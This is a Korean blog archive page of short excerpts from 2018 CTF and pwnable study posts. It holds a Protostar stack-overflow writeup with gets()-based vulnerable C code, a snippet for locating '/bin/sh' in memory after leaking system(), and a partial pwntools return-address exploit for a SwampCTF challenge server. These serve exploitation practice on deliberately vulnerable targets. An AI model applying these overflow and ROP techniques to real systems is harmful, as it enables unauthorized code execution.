2018/04(39)
-
Protostar Simple Writeup
1. Stack0 #include #include #include int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } buffer 64바이트 후 1바이트의 값을 조작하면 된다. modified가 buffer뒤에 위치하기 때문이다. 2. Stack1 #include #include #include #include int main(int argc, char **argv) { volat..
2018.04.10 -
Protostar
CLEAR LIST Stack0Stack1Stack2Stack3Stack4Stack5Heap0Heap1Stack6Stack7 NOT CLEAR LIST Format0Format1Format2Format3Format4Heap3Heap4Net0Net1Net2Final0Final1Final2 다 풀어 보자 포너블 진짜 미쳐보자.
2018.04.10 -
system함수 릭한 후 /bin/sh 주소 구하기 (NON ASLR)
#include int main(){int shell = 0x주소; // system주소 while(memcmp((void*)shell, "/bin/sh",8))shell++;printf("%x\n",shell);return 0;}
2018.04.10 -
defcon 2015 babyecho
보호되어 있는 글입니다.
2018.04.09 -
4~5월달 목표
5월달 목표 : 한 CTF에서 포너블 2문제 풀기 목표를 이루지 못하면, 공부를 더 해야하는 것. 반성하라.
2018.04.08 -
swamp return writeup
소요 시간 : 5시간 문제 의도1 read함수를 통해 50바이트를 읽어온다.2 retaddr이 &locret_8048595보다 크면 종료 3. 숨겨진 주소 : 0x08048AEA ropgadget 중 ret를 이용해야 함. payload : 버퍼를 0x26 채운 뒤 + ret 가젯 주소 + 내가 가고싶은 주소(플래그 있는 주소) 코드from pwn import * context.log_level ='debug' p = remote('chal1.swampctf.com',1802)#p = process("./return")print p.recvuntil("do: ")payload =""dummy = "A"*(0x26 + 4)_ret = p32(0x8048372)shell = p32(0x8048615)payl..
2018.04.08